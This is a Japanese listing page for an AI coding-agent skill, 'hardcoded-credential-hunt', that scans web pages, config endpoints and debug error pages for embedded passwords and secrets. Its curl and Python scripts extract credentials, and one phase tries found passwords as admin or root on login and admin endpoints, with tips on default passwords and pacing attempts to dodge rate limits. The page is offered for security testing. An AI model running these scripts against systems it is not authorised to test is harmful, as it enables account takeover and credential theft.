hardcoded-credential-hunt について
hardcoded-credential-hunt は、クライアントコード、HTML、設定エンドポイント、デバッグページに埋め込まれた認証情報を探すセキュリティテスト用スキルです。値が固定されているか、利用可能か、権限がどこまで及ぶかを検証できます。
主な機能
- 01HTML の事前入力パスワード欄の確認
- 02設定エンドポイントの調査
- 03デバッグページのシークレット検出
- 04認証エンドポイントでの認証情報テスト
- 05認証情報の権限と範囲の確認
活用シーン
- 01公開フォームに埋め込まれたパスワードの監査
- 02未認証の設定レスポンスの確認
- 03デバッグエラーによるシークレット漏えいの評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hardcoded-credential-huntインストール後、Claude Code で/hardcoded-credential-huntを入力して読み込まれたか確認します。
詳細
ハードコードされた認証情報の調査
クライアント側コードや HTML レスポンスに埋め込まれた認証情報を検出します。対象には、フォームの value 属性にあるマスターパスワード、インラインスクリプト内のシークレットキー、設定エンドポイントの API トークン、デバッグエラーページから漏えいした平文の認証情報などがあります。この種の脆弱性は認証を完全に迂回するため、総当たり攻撃は不要です。
使用する場面
- アプリケーションが、パスワードフィールドに値があらかじめ入力された、または非表示になった HTML フォームを配信している場合。
- 設定エンドポイント(
/api/config、/env、/settings)が、認証情報らしき文字列を含む JSON を返す場合。 - デバッグ/エラーページの JavaScript 変数からアプリケーションのシークレットが漏えいしている場合。
- 認証なしでアクセスできる API エンドポイントが、認証を制御するデータ(リセット、退出登録、管理者操作)を返す場合。
- JavaScript バンドルに、パスワードのパターンに一致する文字列の代入が含まれている場合。
前提条件
- curl と python3 が利用できる
terminal。 - 設定/環境設定エンドポイントに適切な認証がなく、HTML、JSON、または JavaScript を配信するターゲット。
- 少なくとも 1 つの公開ページ、フォーム、または API エンドポイントへのアクセス。
簡易検出
# Scan HTML for password fields with pre-filled values
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/PATH" | grep -Eoi '(?:password|passwd|senha|pass|pwd|secret)\s*[=:"]\s*"?[^"&\s]{4,30}"?' | head -10
# Scan JSON config endpoints for credential-like keys
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/config" | python3 -c "
import sys, json, re
try:
data = json.load(sys.stdin)
for k, v in data.items() if isinstance(data, dict) else []:
if any(x in k.lower() for x in ['pass','secret','key','token','auth']):
print(f'{k}: {v}')
except: pass
"
# Scan inline JavaScript for hardcoded secrets
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/" | grep -Eo '(?:SECRET|PASSWORD|API_KEY|TOKEN)\s*=\s*"[^"]{8,}"' | head -10
手順
フェーズ 1 — HTML フォームの検査
認証情報を含む、value 属性付きのパスワードフィールドや hidden input を探します。
# Extract all password inputs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/PATH" | python3 -c "
import sys, re
html = sys.stdin.read()
# Inputs with type=password and non-empty value
for m in re.finditer(r'<input[^>]*type\s*=\s*[\"\']password[\"\'][^>]*value\s*=\s*[\"\']([^\"\']+)[\"\']', html):
print(f'PASSWORD FIELD: {m.group(1)}')
# Hidden inputs that look like passwords
for m in re.finditer(r'<input[^>]*type\s*=\s*[\"\']hidden[\"\'][^>]*name\s*=\s*[\"\']([^\"\']*(?:pass|senha|secret|token|key)[^\"\']*)[\"\'][^>]*value\s*=\s*[\"\']([^\"\']+)[\"\']', html, re.IGNORECASE):
print(f'HIDDEN CREDENTIAL: {m.group(1)} = {m.group(2)}')
"
フェーズ 2 — 設定エンドポイントの調査
認証情報が漏えいする可能性のある、一般的な設定エンドポイントを調べます。
for path in /api/config /api/settings /env /api/env /config.json /api/config.json \
/api/v1/config /api/configuration /api/v2/settings /api/status; do
result=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.com$path" -w "\n%{http_code}" 2>/dev/null)
code=$(echo "$result" | tail -1)
if [ "$code" = "200" ]; then
echo "=== $path (200) ==="
echo "$result" | python3 -c "
import sys, json, re
data = sys.stdin.read()
# Try JSON
try:
obj = json.loads(data)
for k, v in obj.items() if isinstance(obj, dict) else []:
if any(x in str(k).lower() for x in ['pass','secret','key','token','auth','jwt']):
print(f' {k}: {v}')
except:
# Try regex on plain text
for m in re.finditer(r'(?:password|passwd|secret|token|api[_-]?key)\s*[=:]\s*[\"']([^\"']{4,})[\"']', data, re.I):
print(f' {m.group(0)}')
" | head -20
fi
done
フェーズ 3 — デバッグエラーページの分析
Werkzeug、Django、Express のデバッグページでは、インライン JavaScript にシークレットが漏えいすることがよくあります。
# Trigger an error and check for credential leaks
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/ERROR_TRIGGER_PATH" | python3 -c "
import sys, re
html = sys.stdin.read()
# Werkzeug debugger SECRET
match = re.search(r'SECRET\s*=\s*[\"]([^\"\']+)[\"]', html)
if match: print(f'WERKZEUG_SECRET: {match.group(1)}')
# Django settings
for m in re.finditer(r'SECRET_KEY\s*=\s*[\"]([^\"\']+)[\"]', html):
print(f'DJANGO_SECRET: {m.group(1)}')
# Generic credential patterns
for m in re.finditer(r'(?:PASSWORD|PASS|TOKEN|API_KEY)\s*=\s*[\"]([^\"\']{6,})[\"']", html, re.I):
print(f'LEAKED: {m.group(0)}')
"
フェーズ 4 — 認証バイパスのテスト
ハードコードされたパスワードが見つかったら、すべての認証エンドポイントで試します。
PASSWORD="found_password"
# Test against common auth endpoints
for endpoint in /login /api/login /api/auth/login /auth /admin /api/admin; do
for user in admin administrator root; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
-d "username=$user&password=$PASSWORD" \
"https://target.com$endpoint")
if [ "$code" = "302" ] || [ "$code" = "200" ]; then
echo "SUCCESS: $user:$PASSWORD at $endpoint (HTTP $code)"
fi
done
done
注意点
- プレースホルダーの値が本物に見えることがあります。 報告する前に
password123、changeme、空文字列を試してください。これらは開発用のデフォルト値であることがよくあります。 - 認証情報の適用範囲は限定されている可能性があります。 「退出登録」用のパスワードは、管理者用の完全なパスワードではありません。影響度を評価する前に、認証情報に付与された実際の権限を確認してください。
- フォームの値は動的な場合があります。 CSRF トークンのパターンのようにセッションごとにパスワードが変わるのか、それとも本当に固定されているのかを確認してください。
- Base64 は暗号化ではありません。 JavaScript 内で見つかった Base64 らしき文字列はデコードしてください。認証情報が含まれていることがよくあります。
- レート制限によってテストがブロックされる場合があります。 認証の試行は 2〜3 秒間隔で行ってください。
検証
- 認証情報が固定されていることを確認します。 ページ/エンドポイントを 3 回取得し、毎回パスワードの値が同一であることを確認します。
- アクセスが許可されることを確認します。 対象のエンドポイントで認証情報を使用し、失敗時の試行(HTTP 401/403)とは異なるレスポンス(HTTP 200/302)が返ることを確認します。
- 権限レベルを確認します。 他のエンドポイントでも認証情報を試し、適用範囲(読み取り専用、書き込み、管理者、リセット)を特定します。
- 監査証跡を確認します。 リクエストに一意の識別子を含めてアクセスを再度行い、操作がログに記録されることを確認します(実際の影響を裏付けます)。
関連スキル
api-noauth-hunt— 認証がまったくない API エンドポイントを悪用します。js-secrets-extraction— JavaScript バンドル内の API キーやトークンを検出します。source-leak-hunt— 公開された設定ファイル(.env、wp-config など)を検出します。flask-werkzeug-attack— Werkzeug デバッガーの SECRET 漏えいやトレースバックの開示を悪用します。
コメント
Markdown 対応